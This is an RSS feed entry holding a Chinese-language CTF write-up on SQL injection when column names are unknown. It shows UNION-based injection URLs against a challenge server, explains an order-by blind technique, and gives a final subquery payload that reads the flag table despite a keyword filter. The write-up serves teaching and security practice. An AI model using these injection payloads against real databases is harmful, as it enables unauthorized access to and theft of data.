<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>子查询 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E5%AD%90%E6%9F%A5%E8%AF%A2/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Fri, 23 Aug 2019 01:13:37 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>一道题引发的无列名注入</title>
		<link>/ctf/852.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Thu, 22 Aug 2019 14:37:20 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[mysql]]></category>
		<category><![CDATA[sql]]></category>
		<category><![CDATA[列名]]></category>
		<category><![CDATA[子查询]]></category>
		<category><![CDATA[注入]]></category>
		<category><![CDATA[盲注]]></category>
		<guid isPermaLink="false">/?p=852</guid>

					<description><![CDATA[@Syst1m的考核题 题目地址 http://152.136.179.79:18084/ 传入id=3为flag的id。 常规联合查询注入 http://152.136.179....]]>/</description>
										<content:encoded><![CDATA[<p>@Syst1m的考核题</p>
<p>题目地址 http://152.136.179.79:18084/ 传入id=3为flag的id。</p>
<p>常规联合查询<span class="wpcom_tag_link"><a href="/tags/%e6%b3%a8%e5%85%a5" title="注入" target="_blank">注入</a></span></p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,3
</code></pre>
<p>三个字段</p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,(select table_name from information_schema.tables where table_schema=database())
</code></pre>
<p>拿到flag所在的表，继续查<span class="wpcom_tag_link"><a href="/tags/%e5%88%97%e5%90%8d" title="列名" target="_blank">列名</a></span></p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,(select column_name from information_schema.columns where table_name='this_1s_th3_fiag_tab13')
</code></pre>
<p>死活查不出来，应该是过滤了column关键字，没有列名怎么查出来数据呢？？？</p>
<p>有两种方法<br />
1. order by<span class="wpcom_tag_link"><a href="/tags/%e7%9b%b2%e6%b3%a8" title="盲注" target="_blank">盲注</a></span><br />
2. <span class="wpcom_tag_link"><a href="/tags/%e5%ad%90%e6%9f%a5%e8%af%a2" title="子查询" target="_blank">子查询</a></span></p>
<p>本地测试建表</p>
<p><img src="https://y4er.com/img/uploads/20190822205338.png" alt="20190822205338" /></p>
<p><img src="/wp-content/uploads/2019/08/20190822205621.png" alt="20190822205621" /></p>
<h1>order by盲注</h1>
<p>order by用于根据指定的列对结果集进行排序。一般上是从0-9a-z这样排序，不区分大小写。</p>
<p>先来本地测试一下</p>
<p><img src="/wp-content/uploads/2019/08/20190822210044.png" alt="20190822210044" /></p>
<p>可以看到我们构造的数据排在了第一行</p>
<p><img src="/wp-content/uploads/2019/08/20190822210124.png" alt="20190822210124" /></p>
<p>仍然在第一行</p>
<p><img src="/wp-content/uploads/2019/08/20190822210155.png" alt="20190822210155" /></p>
<p>当拿&#8217;q&#8217;和&#8217;pass&#8217;做比较时，我们构造的数据被排在了第二行。由此可以来根据不同的回显来逐位判断。</p>
<p>拿我们这道题来说</p>
<p><img src="/wp-content/uploads/2019/08/20190822210915.png" alt="20190822210915" /></p>
<p>1的时候我们的数据在前</p>
<p><img src="/wp-content/uploads/2019/08/20190822210948.png" alt="20190822210948" /></p>
<p>2的时候原始数据在前，说明第一位是1</p>
<p>然后判断第二位</p>
<p><img src="/wp-content/uploads/2019/08/20190822211104.png" alt="20190822211104" /></p>
<p>1a的时候我们的数据在前</p>
<p><img src="/wp-content/uploads/2019/08/20190822211144.png" alt="20190822211144" /></p>
<p>1b的时候原始数据在前，说明第二位是1a</p>
<p>由此逐位判断。</p>
<h1>子查询</h1>
<p>在无列名的情况下，用子查询可以很简单的将数据跑出来。</p>
<p>子查询是将一个查询语句嵌套在另一个查询语句中。在特定情况下，一个查询语句的条件需要另一个查询语句来获取，内层查询（inner query）语句的查询结果，可以为外层查询（outer query）语句提供查询条件。</p>
<p><img src="/wp-content/uploads/2019/08/20190822214132.png" alt="20190822214132" /></p>
<p><strong>这个语句将列名转换为了1,2,3</strong>，这个时候列名就已知了，我们可以用子查询将数据归并。</p>
<p><img src="/wp-content/uploads/2019/08/20190822214824.png" alt="20190822214824" /></p>
<p>此时就能查出来数据了，然后我们再来看这个题。</p>
<p>我们已知了表名为<code>this_1s_th3_fiag_tab13</code>，但是不知道这个表有几个字段</p>
<p><img src="/wp-content/uploads/2019/08/20190822220530.png" alt="20190822220530" /></p>
<p>可以用联合查询的方式来判断字段数。</p>
<p>查出数据</p>
<p><img src="/wp-content/uploads/2019/08/20190822220706.png" alt="20190822220706" /></p>
<p>拿到我们这个题里来</p>
<p><img src="/wp-content/uploads/2019/08/20190822220930.png" alt="20190822220930" /></p>
<p>payload</p>
<pre><code class="">http://152.136.179.79:18084/?id=3 union select 1,2,x.2 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from this_1s_th3_fiag_tab13)x
</code></pre>
<p>子查询真是个好东西👍</p>
<h1>写在文后</h1>
<p>本文介绍了两种无列名注入的方式，很巧妙的在没有列名的情况下查出来数据，在实际利用中更推荐用子查询的方式，毕竟盲注有可能费力不讨好。</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
